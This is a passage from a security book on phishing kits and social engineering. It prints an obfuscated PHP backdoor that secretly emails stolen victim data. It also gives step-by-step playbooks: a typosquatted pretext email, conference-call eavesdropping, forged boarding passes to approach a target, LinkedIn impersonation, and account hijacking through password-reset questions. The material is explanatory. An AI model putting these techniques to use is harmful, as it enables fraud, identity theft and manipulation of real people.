carefully:\n$cc=$ar['1'].$ar['2'].$ar['3'].$ar['4'].$ar['5'].$ar['6'].\n$ar['55'].$ar['9'].$ar['10'].$ar['11'].$ar['12'].$ar['14'].\n$ar['22'].$ar['23'].$ar['24'].$ar['6'].$ar['28'].$ar['26'].\n$ar['25'].$ar['27'];\nAh! $cc is really a concatenation of elements in $ar:\n$ar=array(\"1\"=>\"i\",\"2\"=>\"n\",\"3\"=>\"s\",\"4\"=>\"t\",\"5\"=>\"a\",\"6\"=>\"l\",\n\"55\"=>\"l\",\"9\"=>\"2\",\"10\"=>\"1\",\"11\"=>\"3\",\"12\"=>\"@\",\"13\"=>\"a\",\n\"14\"=>\"g\",\"22\"=>\"m\",\"23\"=>\"a\",\"24\"=>\"i\",\"25\"=>\"o\",\"26\"=>\"c\",\n\"27\"=>\"m\",\"28\"=>\".\");\n$ar is an associative array. The first letter of $cc is $ar['1'], which is equal to the\ncharacter i. If you piece together the associations, the resultant value of $cc is\ninstall213@gmail.com, an actual email address! What a cumbersome and roundabout\nway to define an email address! If you put two and two together, it is clear that the\nauthor of the phishing kit is attempting to sneak his email address into script, which is\nthen invoked when this mail() is called:\nmail(\"$cc\", \"eBay Info\", $message);\nWhen a phisher uses a phishing kit, he will edit the value of $recipient to contain his\nemail address. Unbeknownst to the phisher, the script will also send a copy of the\nvictim’s submission to the install213@gmail.com email address. This shows how the\nauthor of the phishing kit is trying to phish phishers by sneaking in a backdoor. Talk\nabout phisher-on-phisher crime!\nThis example further illustrates the mentality and personality of phishers. The average\nphisher using a phishing kit merrily goes about editing the value of $recipient without\nhaving the foresight or talent to notice the obvious backdoor just a few lines above.\nCriminals in the phishing underground make no friends either; everyone is out to steal\nand scam everyone else. In some sense, that is not so surprising if you think about it.\nInfiltrating the Underground\nWe’ve studied real phishing sites and kits and seen how phishers play tricks on each\nother. In this section, we will dive into the underground ecosystem of scams. You will\nsee how phishers communicate and what they do with the identities they have stolen,\nand uncover scams beyond phishing.\nInfiltrating the Underground | 195\nDownload at WoWeBook.Com\n" }, { "page_number": 212, "text": "Google ReZulT\nWe’ve looked at the server-side scripts, such as update.php and eBayISAPIBfes.php.\nThese scripts are responsible for processing the information victims submit and sending\nthe data to a hardcoded email address. In this section, we will use the information from\nthese scripts to lead us into hidden locations on the Web where phishers and other\nscam artists communicate.\nHere is a line from update.php that we looked at in “Say Hello to Pedro!”\non page 184:\n$message .= \"------------------ReZulT--------------------------------\\n\";\nThe ReZulT string is interesting because it appears to be unique. When the victim sub-\nmits to update.php, the email that is sent to the phisher includes this line.\nAlso note the following line in update.php:\n$message .= \"ATM PIN : \".$_POST['pin'].\"\\n\";\nWe decided to Google “ReZulT” in addition to the phrase “ATM PIN”. The initial idea\nwas to uncover more phishing kits and additional locations where the update.php script\nmay be present. Instead, the results from Google, illustrated in Figure 7-15, actually\nincluded real emails that were processed and sent to phishers. From ATM PINs to Social\nSecurity numbers, to online bank account usernames and passwords, to credit card\nnumbers and expiration dates, the sheer amount of real data representing identities of\nvictims was and is staggering.\nIt is evident from Figure 7-15 that there are multiple locations, including message\nboards, where data submitted by victims is shared among scam artists. Even though\nthe screenshot reveals a few search results, the Google search results for “ReZulT” and\n“ATM PIN” reveal dozens of live message boards (see Figure 7-16).\nFigure 7-16 shows a message board found by the Google query. The screenshot shows\nhow a real American person’s identity was exposed. This particular thread contained\nnot only the one identity shown here, but hundreds of identities of other individuals\nas well.\nEven though phishers attempt to sell or barter the identities they have captured, there\nare instances where they are not concerned with giving the information away for free.\nThis example illustrates one such case. We viewed the message board shown in Fig-\nure 7-16 via Google Translate (http://translate.google.com/) and realized that the mes-\nsage board had been set up to serve individuals, fluent in Arabic, who want to expose\nidentities of U.S. citizens due to their religious and political views.\nPlenty of publicly accessible message boards such as the one illustrated in Fig-\nure 7-16 are easy to find by Googling for queries such as “ReZulT” and phisher lingo\nsuch as “Fullz” (explained in the following section). It is in message boards such as\nthese where phishers meet their peers, share ideas, collaborate on tools, exchange\n196 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 213, "text": "phishing kits, and barter useful data such as lists of known working email addresses to\nuse to send emails to potential victims to get them to visit their phishing sites.\nFullz for Sale!\nIn phisher lingo, the word fullz implies all the information one would possibly need to\nsteal someone’s identity. If you were to communicate with a phisher and wanted to\nbuy identities, you would have to ask for “fullz.”\nThe website shown in Figure 7-17 is an actual website of a scam artist offering to sell\n“fullz.” Notice how the criminal carefully lists all the elements you will receive for every\nidentity you purchase. One identity may cost as much as $15, yet the price often comes\ndown considerably if you purchase in bulk.\nFigure 7-15. Google search for “ReZulT” and “ATM PIN”\nInfiltrating the Underground | 197\nDownload at WoWeBook.Com\n" }, { "page_number": 214, "text": "Criminals have traditionally accepted payments using the e-gold online\nmoney transfer service. In 2007, the U.S. Department of Justice indicted\ne-gold on four counts of violating money laundering regulations. For\nmore information, see http://en.wikipedia.org/wiki/E-gold.\nIn the righthand section of Figure 7-17, notice that the criminal has listed an example\n“fullz” for free. In other words, the criminal’s website is exposing a real individual’s\nidentity for the world to see!\nCriminals who are in the business of selling identities often give away one or two “fullz”\nfor the purpose of demonstrating that they actually own the data, thereby increasing\ntheir reputation with their clients and peers. Doing so serves to lure potential clients to\nbuy from them—once a potential client has benefited from a free “sample,” he is more\nlikely to return to the seller to purchase even more identities.\nMeet Cha0\nIf you spend some time going through the plethora of message boards where phishers\ncommunicate and attempt to trade and sell their goods, you will quickly realize that\nthe conversations taking place involve scams that go well beyond phishing.\nPhysical ATM skimming is the act of modifying a real ATM and placing a device such\nas a keypad or a card-reading slot on top of the ATM to capture and steal information\nfrom ATM cards. This requires the criminal to go to the physical ATM to place the\nskimmer devices.\nWe contacted a criminal from one of the message boards to obtain evidence and proof\nthat the criminal did possess the ATM slot readers he was claiming to possess.\nFigure 7-16. Message board thread exposing a phishing victim’s identity\n198 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 215, "text": "Figure 7-18 shows the image we received from one of the criminals, Cha0, proving that\nhe does indeed have quite an inventory of ATM skimmers!\nThe Police Department at the University of Texas at Austin published\nan article that illustrates how the skimmers pictured in Figure 7-18 are\ninstalled onto ATMs. This article is located at http://www.utexas.edu/\npolice/alerts/atm_scam/.\nNotice that the screenshot also includes additional contact information: resources to\nadditional websites owned and operated by Cha0, a support email address, and even\nan Instant Messenger handle where Cha0 and his team can be contacted.\nCha0 was a well-known dealer in ATM skimming devices. In 2008,\nTurkish officials arrested him. See http://blog.wired.com/27bstroke6/\n2008/09/turkish-police.html for more details.\nFigure 7-17. Fullz for sale\nInfiltrating the Underground | 199\nDownload at WoWeBook.Com\n" }, { "page_number": 216, "text": "Summary\nIn the set of the new generation of attackers, phishers are a unique bunch. They are\nable to steal and abuse millions of identities even though most of them are not techni-\ncally sophisticated. This is because it is not necessary to have technical talent to set up\na website that looks like another website—in summary, that is what phishing is. The\nbar of entry to become a phisher is very low.\nIn this chapter, we noted how there is absolutely no notion of trust in the phishing\nunderground. We studied actual phishing kits that most phishers rely on to help them\nquickly spawn their scam websites, and we realized how even phishers attempt to scam\neach other.\nThe boldness of the criminals in the phishing underground is staggering. Hundreds of\nmessage boards and websites freely advertise the sale of identities of actual citizens that\ncan be abused to steal credit lines and thereby destroy the credit reputation of the\nvictims. The chain of online criminal scams begins with the world of phishing, but\ncontinues further to include additional scams such as ATM skimming.\nTo understand the mentality of emerging attackers, it is important to study and keep\nin mind the personality, behavior, and workings of phishers, because they are able to\ncause damage without having to employ complicated exploitation techniques.\nFigure 7-18. ATM skimmers from Cha0\n200 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 217, "text": "CHAPTER 8\nInfluencing Your Victims: Do What We\nTell You, Please\nThe new generation of attackers doesn’t want to target only networks, operating sys-\ntems, and applications. These attackers also want to target the people who have access\nto the data they want to get a hold of. It is sometimes easier for an attacker to get what\nshe wants by influencing and manipulating a human being than it is to invest a lot of\ntime finding and exploiting a technical vulnerability.\nIn this chapter, we will look at the crafty techniques attackers employ to discover in-\nformation about people in order to influence them. From reading profiles on social\nnetworking sites to breaking old-school authentication to conducting a personality\nanalysis simply by studying someone’s calendar to building a dashboard portraying the\nvictim’s psyche, the various avenues and techniques available to attackers to perform\nsocial engineering against humans is stunning.\nThe Calendar Is a Gold Mine\nAn attacker can leverage a lot of information just by looking at her intended victim’s\ncalendar; the attacker can then use that information to influence the victim by way of\nsocial engineering. Yet, not much emphasis has been paid to this topic in the past, so\nwe will dedicate an entire section to discussing the various ways a malicious person can\nuse information on calendars to influence a given person or an organization.\nAn attacker can tell a lot about her intended victim by looking at the victim’s calendar.\nThe attacker can gather obvious information, such as where the person is scheduled to\nbe at a given point in time, and use that information to orchestrate a social engineering\nattack. But calendars can reveal much more information than a person’s whereabouts.\nIn this section, we will look at how an attacker can derive the most information from\na target’s business calendar, and how the attacker can abuse this information to influ-\nence the victim into giving up information or performing tasks on the attacker’s behalf.\n201\nDownload at WoWeBook.Com\n" }, { "page_number": 218, "text": "Information in Calendars\nIn “Breaking Authentication” on page 212, we will discuss how easy it can be to break\nthe “forgot my password” feature of many websites. Such websites are not limited to\nweb-based email services but also include calendar data. For example, an attacker who\nhas compromised someone’s Gmail account may also gain access to the person’s cal-\nendar information by browsing to http://calendar.google.com.\nThe scenario we illustrate in this example is limited to http://calendar\n.google.com. However, the goal of this section is to demonstrate the in-\nformation an attacker can ascertain after gaining access to a person’s\nbusiness calendar, regardless of the platform on which it is hosted.\nCalendars are a great way for an attacker to quickly collect useful information about a\ntarget. The calendar shown in Figure 8-1 belongs to Bob Daniels, who works for Ex-\nample Corp. The first item of the day (“Go over tentative press release/Acme buyout.”)\ndemonstrates how calendars can easily reveal confidential information. After a quick\nglance at Bob’s calendar, it is clear that he is responsible for helping his company or-\nchestrate a buyout of Acme Ltd. His day starts with preparing for the press release\nsubject to the approval of the deal, which depends on the 9:00 a.m. conference call,\nafter which Bob will follow up with his company’s legal department to finalize the\ndecision. Should the deal go through, Bob would have to make sure the press release\nannouncing the deal is published.\nConsider a situation in which Bob’s competitor (the attacker in this case) gets a hold\nof Bob’s calendar. Not only will this allow the competitor to realize that Bob’s company\nis about to take over Acme Ltd., but also the conference call dial-in information in the\ncalendar will allow the competitor to listen in on the conversation with Acme Ltd.\nOne other piece of useful information for the attacker is the name of Bob’s assistant:\nCheryl Hines. It is also clear that Bob will not be in his office between 1:30 p.m. and\n2:30 p.m. Consider the following email the attacker sends to Bob’s assistant at 1:45\np.m. The attacker can purposefully choose to send the email at this time because Bob\nwill probably not be in the office, so his assistant is less likely to double-check with him\nbefore responding to the email.\nFrom: Alan Davis \nTo: Cheryl Hines \nSubject: Copy of Press Release\nCheryl,\nI just called Bob on his cell phone to ask if he could send me a copy of the press release\nthat is to go out later today. He was picking up his daughter Sheryl from school and he\nasked me to reach out to you. Can you please send me a copy right away? It is a little\nurgent, as you can imagine.\n202 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 219, "text": "Thanks in advance,\nAlan\nFigure 8-1. Bob Daniels’s calendar\nYou may be wondering how such an attack is likely to succeed. If Cheryl were to re-\nspond to the attacker’s email with the actual press release, you would have to assume\nthat the attacker has access to the real Alan Davis’s email address at Acme.com. But\nlook closely. The domain in the “From” address of the email does not contain the letter\nm, but the letters r and n, which at quick glance appear as m. In this example, the\nattacker has registered the domain “acrne.com”. When Cheryl quickly responds to the\nemail in the interest of time, her email will go straight to the attacker’s mailbox.\nWho Just Joined?\nIf you have ever participated in a telephone conference call in which there are a large\nnumber of participants, you’ve likely heard the host repeatedly ask, “Who just joined?”\nevery time the conference system plays a beep when a new party joins. In the previous\ncase, the attacker was able to steal the conference call-in details for the legal telephone\nconference to eavesdrop on the conversation. Assume that the conference call had a\nlarge number of participants, and that Bob Daniels’s assistant, Cheryl Hines, was host-\ning the call initially.\nThe Calendar Is a Gold Mine | 203\nDownload at WoWeBook.Com\n" }, { "page_number": 220, "text": "*beep*\nCheryl: Hello?\n*beep*\nCheryl: Who just joined?\nOther: Hi. This is Pete Jannsson.\nCheryl: Hello, Pete. This is Cheryl. It’s just us for now. Bob should be joining us in a bit.\n*beep*\nCheryl: Who just joined?\nOther: This is Alan Davis from Acme.\nCheryl: Thanks for joining, Alan.\n*beep*\nCheryl: Who just joined? Is that Bob?\nOther: This is Bob.\nCheryl: Great! We have Pete, Alan, and Bob on the call. I’ll turn it over to you now, Bob.\nNotice how Cheryl attempted to find out who was on the call as soon as the conference\nwas initiated, but did not pursue the situation further when she got no response. This\nis very typical of telephone conference calls—if someone doesn’t answer to a query, it\nis assumed that the person was probably busy, away, or on mute, and the situation is\nrarely pursued further. The initial moments of the call are important for the attacker\nbecause it is her best opportunity to gain a detailed understanding of exactly what\nparties are present. The attacker can use the individuals’ names and designations to\nbuild a target list of potential social engineering victims.\nMost of the telephone conference call services that corporations use\nassign a static conference ID and a toll-free dial-in number. This con-\nference ID is assigned to each individual and it never changes. In Fig-\nure 8-1, the call-in number for the conference call was 888-123-4567\nand the conference ID was 342343. The next time Bob Daniels or his\nassistant, Cheryl Hines, sets up another conference call, Bob or Cheryl\nwill use the same conference ID for participants to dial in. So, a malicious\nperson needs to capture this information only once to eavesdrop on all\nfuture conference calls initiated by Bob or Cheryl.\nCalendar Personalities\nConsider an individual who routinely blocks time in his calendar to prevent people\nfrom being able to invite him to meetings. Compare this to someone whose calendar\nis always full of meetings and telephone conference calls. It is clear that the information\npresent in the calendar of the meeting-friendly individual is likely to contain a lot of\ndetails that can be useful to an attacker. In the following paragraphs, we will look at\n204 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 221, "text": "some more ways in which attackers can leverage such details. However, first we will\nconcentrate on what you can tell about a person’s personality by looking at his calendar.\nTake a look at the calendar illustrated in Figure 8-2. Note how Jack has designated 2:00\np.m.–5:30 p.m. as “Actually work (code). NO MEETINGS.” This reveals something\nabout Jack’s personality: he likely doesn’t see a lot of value in face-to-face meetings.\nAlso notice how Jack has blocked his lunch hour. This prevents others from intruding\non his lunch in addition to lowering the chances of someone in another department in\nthe company inviting him out to lunch in cases where that person may look at Jack’s\ncalendar for the most appropriate day to send the invitation. Jack has also blocked 1:00\np.m.–2:00 p.m. as “FREE” suggesting that he wants to reserve the time for himself, yet\nagain disabling anyone else from engaging him during that time.\nFigure 8-2. Jack Smith’s calendar\nHaving learned something about Jack’s personality, it is possible to study some addi-\ntional details in his calendar to establish more information about him. From 11:00\na.m.–noon, Jack has a call with “L. Kushner.” Consider that no one in Jack’s company\nhas the last name Kushner. If you were to Google “Kushner”, or perhaps “Lee Kushner,”\nyou would find the following detail: “Mr. Kushner is a recruitment expert in the areas\nof Information Security”.\nFor the purposes of this discussion, assume that we were to look at Jack’s calendar\nentries from a few months ago to find that he did not block out his lunchtime on his\ncalendar and frequently accepted invitations from others to go to lunch. Having this\nThe Calendar Is a Gold Mine | 205\nDownload at WoWeBook.Com\n" }, { "page_number": 222, "text": "information would make it reasonable for us to suspect that Jack’s sentiment at the\nmoment isn’t positive toward his work culture, further supported by the evidence that\nhe is speaking to recruiters. Note that this sort of analysis is not meant to be a perfect\nscience, but it is not unreasonable to claim that it is possible to gain further under-\nstanding of someone’s personality and behavior by studying his work calendar.\nMalicious entities who may want to influence Jack may find it useful to gather as much\ninformation about him as possible. Given the details we have been able to ascertain\nabout Jack, an attacker may use the same techniques to formulate a plan to social-\nengineer Jack. Imagine a scenario in which the malicious entity, whom we will call\nTrent, meets Jack at a deli next to work.\nTrent: That looks like a great sandwich. Which one is it?\nJack: It’s just a turkey sandwich.\nTrent: Ah. Hey, nice to meet you, my name is Trent.\nJack: I’m Jack. Hi.\nTrent: I can’t believe I have to block my calendar just to be left alone at work during\nlunch. It is good to escape from cubicle hell even if it is for a few minutes.\nJack: Me too! I have started doing that, too!\nTrent: That’s not all. I have to block time just so I can work. Everyone in this company\njust wants to have meetings all day. How about actually working?\nJack: I’m with you on that one, too. In fact, I have most of the afternoon blocked so I\ncan concentrate on coding.\nTrent: All right, I have to get back. Nice talking to you, though. Do you care to grab a\nbeer after work?\nJack: Sure.\nNotice how quickly Trent was able to introduce himself to Jack and even have him\nagree to meet up for a beer the same day. This is because Trent was in essence able to\ninfluence Jack by projecting a persona that Jack was able to readily relate to. It is easy\nto imagine how Trent, during their beer meeting later, may be able to further influence\nJack by talking about how he has started to interview with other companies. Then Trent\ncould matter-of-factly elicit confidential information about Jack’s company. And all\nTrent needed was a glimpse of Jack’s calendar. No network packets were transmitted.\nNo applications were attacked. This is how the more sophisticated attackers work.\nSometimes it is just easier to target and manipulate human beings than it is to break\ninto an application or network.\nSocial Identities\nIf a malicious entity were to get a hold of your Social Security number (SSN), your date\nof birth, and your home address, she could use this information to establish and execute\n206 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 223, "text": "financial transactions using your identity. Quite simply, this is the most popular defi-\nnition of identity theft.\nGiven the exponential rise in popularity of social applications, the identities that are\nbeing established online are assumed to be trustworthy even though there is no real\nidentity mechanism to support them. The new generation of attacks and attackers are\naware of this opportunity. In this section, we will discuss the devious ways criminals\ncan leverage online social identities.\nAbusing Social Profiles\nThe amount of information people voluntarily expose on social applications is stag-\ngering. In the recent past, an external and unrelated entity would have to go through\ngreat lengths to find out minor details on a given person. Today, with the exponential\nrise in popularity of social applications, this information is readily available to anyone\nwith a web browser, an Internet connection, and access to a social networking website\nsuch as Facebook.\nFigure 8-3 shows some basic information on a typical Facebook user’s profile. At first\nglance, the data presented doesn’t seem too confidential, but it is extremely valuable\nto a malicious party who is determined to obtain information on the user.\nFigure 8-3. Basic Information section of a typical Facebook user’s profile\nYou can tell a lot about an individual by looking at the basic information he portrays\non his social profile. For example, the individual whose profile is illustrated in Fig-\nure 8-3 was most likely born in Madras, India, lives in Washington, DC, and works for\nDeloitte. Her birthday is November 8. She is single. It is possible to even know her\npolitical and religious views from her profile. Traditionally this sort of information\nwould have been extremely difficult to obtain anonymously.\nSocial Identities | 207\nDownload at WoWeBook.Com\n" }, { "page_number": 224, "text": "People have to accept your connection request on Facebook before you\ncan see their profile. However, during the Facebook account sign-up\nprocess, Facebook recommends that users join a network (group) that\nmost closely relates to their geographical location. If you lived in New\nYork City, for example, you would most likely join the “New York, NY”\nFacebook network as part of the sign-up process. By default, anyone in\na particular geographical network can see most of the profile informa-\ntion of another person in the same network. It is possible to dig through\nthe privacy setting options Facebook offers to disable this, but most\npeople do not change this option. In other words, all a malicious entity\nhas to do to see the information on someone’s Facebook profile is to\nsign up with a fake Facebook account, join the same geographical net-\nwork, and simply browse to the target’s Facebook profile.\nLet’s assume that Sasha is the name of the person whose Facebook profile is presented\nin Figures 8-3 and 8-4. Let’s also assume that she has just submitted a bid to a client\nfor a potential consulting opportunity.\nFigure 8-4. Personal Information section of Sasha’s Facebook profile\nNow pretend you’re the attacker and you want to influence Sasha to give you details\nabout the consulting bid. Where would you start? You scan Sasha’s Twitter page and\nrealize she is at the Atlanta airport waiting for her flight (see her Twitter message in\nFigure 8-5). How convenient—you are in Atlanta, too. You quickly find a screenshot\nof a boarding pass to a recent Delta flight you had taken out of Atlanta exactly a week\nago, alter the date to reflect today’s date, and print it out. Perfect. This will get you\nthrough security and to the boarding gates—all they need is your state ID and a board-\ning pass to let you through. Security checkpoints at most airports currently do not\nauthenticate the bar code on the boarding pass to check whether it is valid for the given\ndate.\n208 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 225, "text": "Figure 8-5. Sasha’s Twitter message\nAs you drive up to the airport, you scan for flights from Atlanta to Washington, DC,\nbecause that is where Sasha is likely to be headed, since “Washington, DC” is her\ngeographical network in her Facebook profile. Two Delta flights are heading to DC\nfrom Atlanta in the next hour, both out of Concourse C. You find Sasha sitting outside\ngate C-24 and there are a good 30 minutes left before the flight boards. You know what\nshe looks like from the pictures on her Facebook photo albums. You also know, based\non the postings in her Facebook wall about the free tequila shots she was so enthusiastic\nabout last night, that she is probably a little hungover. This could mean she may be less\ninclined to be interested in conversing with a stranger, so you will have to come up with\nsomething a little creative and attractive to get her interested in having a conversation\nwith you.\nImmediately next to gate C-24 is a bookstore. You scan for books in the fiction section\nand find The Alchemist by Paulo Coelho and The Life of Pi by Yann Martel. These books\nare on Sasha’s list on her profile illustrated in Figure 8-4. After purchasing these books\nyou head over to C-24 and take a seat next to Sasha. She is busy with her laptop, but\nit is clear that she notices the cover of the book you have on your lap: The Alchemist.\nYou (the attacker): Excuse me, but do you know how long it is before the flight boards?\nSasha: Another 25 minutes or so. But you never know.\nYou: Ah. Well, I guess these books should keep me engrossed. My friends recommended\nthem.\nSasha: The Alchemist is one of my favorite books! I’m sure you will love it.\nYou: I’ll take your word for it. I just picked up this other one, too, The Life of Pi.\nSasha: That is one of my favorite books, too. You have good taste. Hey, nice to meet you.\nMy name is Sasha.\nYou: Nice to meet you, Sasha. I’m Eric. I’m on my way back to DC. I’m flying back from\na client meeting. Travel is a way of life when you work for the Big 4.\nSasha: Who do you work for? I’m with Deloitte.\nYou: I’m with Deloitte as well! Wait, you aren’t here for the sales meeting with Acme\nCorp., are you?\nSasha: I am!\nYou: What a small world. This is incredible! I’m a new partner in the financial services\ngroup. I’ve heard so much about the Acme proposal. It is very important that we are able\nto secure this opportunity. How did it go? Did we propose a bid?\nSocial Identities | 209\nDownload at WoWeBook.Com\n" }, { "page_number": 226, "text": "Sasha: Indeed we did. We bid it at a little over seven hundred thousand dollars. We might\nnot make a big profit from this particular engagement, but it will get our foot in the door.\nNotice how you started out by impressing Sasha with a list of common interests and\nthemes: final destination, taste in books, and even your place of employment. Most\npeople have a positive emotional response to things that are familiar and pleasurable.\nSeemingly improbable cases of similarities, especially in situations where the elements\nin common are those that elicit memories of pleasurable activities or thoughts, can\noverwhelm our emotions to the point where we find someone we have immediately\nmet to be extremely likeable and even trustworthy.\nWith the popularity of social networking applications, we are continuously streaming\nour thoughts, desires, and interests. New-generation attacks are likely to leverage this\ninformation to construct a detailed analysis of the targeted individual to carefully and\nskillfully launch social engineering attacks, as we illustrated in this hypothetical case\nstudy.\nStealing Social Identities\nIdentities on social applications such as Facebook, MySpace, and LinkedIn are trusted\nto belong to the real person whose identity is being represented. In most situations,\nthis works perfectly well. Why would anyone want to set up a profile posing as someone\nelse? Most people wouldn’t care to sign up with someone else’s identity, but if you are\na criminal who wants to extract information about a particular person, or influence\nothers who are related to the person, there is a lot you can do with social applications.\nIn this section, we will use the LinkedIn social application to take a look at a real case\nstudy on how an attacker can steal someone’s identity and leverage the data she obtains.\nAs we mentioned earlier in the book, LinkedIn is a business-oriented\nsocial networking site. It is located at http://linkedin.com/.\nFigure 8-6 shows an actual LinkedIn profile that the authors of this book created. We\nobtained permission from an individual, who prefers not to be named, to allow us to\n(supposedly) steal his identity for this case study. We will refer to this individual as\nJames Dodger.\n210 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 227, "text": "Figure 8-6. LinkedIn profile representing the targeted victim’s information\nOnce we set up the LinkedIn profile for James, all we had to do was send a single\nLinkedIn request, as James, to another individual who was a friend of James’s. As soon\nas this individual accepted James’s request to be “linked in,” other individuals who\nknew James discovered that he had signed up on the LinkedIn application. These in-\ndividuals, delighted that their friend James had signed up on the social networking site,\nsent requests to James to get “linked up” (see Figure 8-7).\nFigure 8-7. Incoming LinkedIn request from a friend of James’s\nIn a matter of hours, the fake account created with James’s identity received 82 in-\ncoming LinkedIn requests, bringing the total number of connections to 83, as illustrated\nin Figure 8-8.\nFigure 8-8. Fake LinkedIn profile for James Dodger with 83 connections\nThis case study demonstrates how easy it is for anyone to sign up on a social networking\nsite using someone else’s identity. Assume that James is in the services industry. In this\nSocial Identities | 211\nDownload at WoWeBook.Com\n" }, { "page_number": 228, "text": "situation, his main point of contact at client organizations may be of extreme interest\nto his competitors.\nOnce an attacker is able to steal someone’s identity on a popular social networking site\nsuch as LinkedIn, the attacker has access not only to the target’s contacts, but also to\ndata that tells her who the more influential contacts are. The technique of “network\nanalysis” is a well-known method of analyzing a set of contacts to determine which\nparties are more influential in a given set of connections.\nNetwork analysis was used after the 9/11 attacks to construct a clearer\npicture of influential parties among the suspected terror network. You\ncan find a good explanation of how this was done at http://www.orgnet\n.com/tnet.html.\nIn this case study, it is possible to perform network analysis by viewing the connections\nof each of James’s friends and listing the names of their own connections. Friends\nof James who are more influential to him are those who share the greatest number of\ncommon friends with him. Once an attacker is able to construct a descending list of\nher victim’s most influential parties, she can orchestrate further avenues of social en-\ngineering, such as contacting friends who are more influential to James because they\nmight have knowledge that may be difficult to obtain from James directly.\nIn addition to network analysis, it is also possible for a malicious entity to draw addi-\ntional information from James’s contact list. For example, if James is known to be\ninvolved in orchestrating a merger between two companies that has not been an-\nnounced publicly, a third party may be able to use James’s stolen identity to confirm\nthis by measuring whether a significant number of James’s contacts on LinkedIn who\nwork for Company A are linking up with his contacts in Company B. This sort of\nknowledge can be extremely useful to an attacker who may be an accomplice of a\ncompetitor in not only deriving such useful information, but also in leveraging the\ninformation to launch additional social engineering attacks to influence James’s con-\nnections into giving up additional data.\nBreaking Authentication\nThe gigabytes of data individuals store on free web-based services can be a gold mine\nfor an attacker. Think about how much personal information the average user stores\nin his Microsoft Live email account. From medical records to credentials to other ap-\nplications to financial details to personal correspondence, the average person today\nstores more information “in the cloud” than ever before.\nMost of the free web-based applications have a handy “Forgot your password?” feature \nto allow people to maintain access to their accounts should they forget their credentials.\nTo reset the credentials, users are asked to fill in personal details only they would know,\nsuch as their pet’s name or their favorite song. The problem with this approach is not\n212 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 229, "text": "only that other people may be able to guess the answers to these “secret questions,”\nbut also that individuals are exposing a lot of information about their personal lives on\nsocial applications.\nTake a look at Figure 8-9. The Windows Live service asks for the country, state, and\nzip code of the individual whose password is being reset. This information is most likely\nto be based on the individual’s home address at the time he signed up for the account.\nConsider the case in which someone has recently signed up for an account or hasn’t\nmoved in a while (even then, it’s not that hard to find someone’s previous address). In\nthis case, the other question the attacker needs to answer correctly is “which school\ndid i study in”—a question the user picked when signing up for the account.\nFigure 8-9. Reset password feature found on the Microsoft Windows Live email service\nAssume that you want to take over the account of the person whose secret question is\nlisted in Figure 8-9 (“which school did i study in”). If this person is connected to you\non Facebook, you have all the information you need. Figure 8-10 shows a snippet of\nthe sort of information you can find on a typical Facebook user’s profile. In this case,\nyou have the person’s address and the name of the school he went to, and that is all\nyou will need to compromise this person’s email account!\nGiven that most free email services on the Web today include gigabytes of storage space,\npeople have little incentive to delete their data routinely. An average person’s email\naccount is likely to contain a plethora of private information that a criminal can abuse.\nTo successfully implement self-service password reset functionalities, many web ap-\nplications depend on data about the user that only the legitimate user is likely to know.\nThis includes free web-based email services as well as banking applications and finan-\ncial services such as PayPal. Figure 8-11 shows PayPal’s password reset functionality.\nSocial Identities | 213\nDownload at WoWeBook.Com\n" }, { "page_number": 230, "text": "PayPal users who do not have financial instrumentation attached to their account (i.e.,\nusers who do not have a credit card account or bank account linked to their PayPal\naccount) can reset their password just by entering their phone number. Even if they\nhave set up a “secret question,” the PayPal application does not ask the user to solve it\nif the user has no financial instrumentation attached. This can allow an attacker to\neasily reset a particular user’s PayPal password just by entering the user’s phone num-\nber, which the attacker can easily find on the target’s social profiles online or by looking\nthrough the White Pages. Once the attacker is able to reset and hijack the PayPal ac-\ncount, she can select and enforce a secret passphrase. In this situation, the targeted user\nwill be able to reclaim his account by also entering his own phone number. The attacker\nwill then have to simply wait for the victim to attach financial instrumentation, and\nthen rehijack the account by solving for the secret passphrase she set up earlier.\nFigure 8-10. Contact information on the target’s Facebook profile\nFigure 8-11. PayPal’s password reset page\n214 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 231, "text": "Businesses that provide web-based services, such as Google’s Gmail, Microsoft’s Live\nemail, and PayPal, find it cost-effective to allow users to reset their own credentials.\nMillions of people have set up accounts on these web applications, so it becomes in-\nfeasible for companies such as Google, Microsoft, and PayPal to be able to provide\npersonalized customer care for users who forget their credentials. Besides, most users\nwho set up accounts on these applications do not necessarily supply personally iden-\ntifiable information (PII), such as their SSN, so it becomes difficult to authenticate users\nwho claim to have forgotten their credentials. Most web applications implement mech-\nanisms, such as the one illustrated in Figure 8-9, that rely on information that only the\nlegitimate account holder might know. However, a lot of this information that has been\ntraditionally difficult to get a hold of is now easy to find on people’s social profiles\nonline. Attackers today are aware of this situation, allowing them to be able to hijack\nuser accounts with ease.\nFor example, an attacker can easily leverage the information that is available in some-\none’s Microsoft Live email account to influence and manipulate a victim or even an-\nother person the victim has communicated with. Consider the situation in which an\nattacker has compromised the Live email account of someone named John because the\nattacker was able to solve John’s password reset question, “What is my favorite\nmovie?,” by looking at John’s Facebook profile page, where John publicly states the\nanswer: Scarface.\nNow consider the situation in which John’s executive assistant, Mary White, has access\nto a recent financial earnings spreadsheet that is of interest to the attacker. The attacker\ncan simply attempt to email Mary and ask for the spreadsheet, but first she may want\nto look at John’s personal calendar, also located on the Microsoft Live web application\nand accessible using the same credentials for John’s Live email account.\nAssume that the attacker hijacked John’s account on Tuesday, May 5, 2009. By looking\nat John’s calendar, illustrated in Figure 8-12, the attacker can be assured that the prob-\nability that John may realize his account his been compromised is low because he is\nmost likely busy enjoying his vacation in Hawaii.\nThe attacker may not want to simply email Mary from 